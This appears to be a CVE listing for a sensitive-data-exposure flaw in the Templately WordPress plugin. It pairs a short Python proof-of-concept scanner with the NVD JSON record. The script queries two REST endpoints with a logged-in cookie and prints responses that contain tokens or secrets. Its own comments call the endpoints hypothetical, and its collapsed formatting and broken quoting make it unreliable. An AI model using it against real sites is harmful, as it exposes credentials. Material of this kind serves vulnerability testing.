CVE-2026-42379

#!/usr/bin/env python3 """ PoC for CVE-2026-42379: Sensitive Information Exposure in Templately Description: Checks if sensitive data is exposed in the response from the plugin. """ import requests def check_vulnerability(target_url, auth_cookie): headers = { "User-Agent": "CVE-2026-42379-Scanner", "Cookie": auth_cookie, "Accept": "application/json" } # Hypothetical endpoint based on common WordPress plugin structures # Actual endpoint requires analysis of specific plugin version source code endpoints = [ "/wp-json/templately/v1/templates", "/wp-json/templately/v1/cloud" ] for endpoint in endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) # Check for indicators of sensitive data exposure # e.g. tokens, user emails, internal IDs exposed in JSON response if response.status_code == 200: data = response.json() if 'application/json' in response.headers.get('Content-Type', '') else {} print(f"[+] Checking {url}") # Example checks (adjust based on actual vulnerability context) if "token" in str(data).lower() or "secret" in str(data).lower(): print(f"[!] Potential Sensitive Data Exposure found!") print(f"Response: {response.text[:500]}") return True else: print("[-] No obvious sensitive data found in this endpoint.") except Exception as e: print(f"[!] Error connecting to {url}: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <target_url> <wordpress_cookie>") print("Example: python3 poc.py http://localhost/wp "wordpress_logged_in_123...") else: check_vulnerability(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2026-42379", "sourceIdentifier": "[email protected]", "published": "2026-04-27T09:16:02.043", "lastModified": "2026-04-27T18:37:59.213", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in WPDeveloper Templately allows Retrieve Embedded Sensitive Data.This issue affects Templately: from n/a through 3.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/templately/vulnerability/wordpress-templately-plugin-3-6-1-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}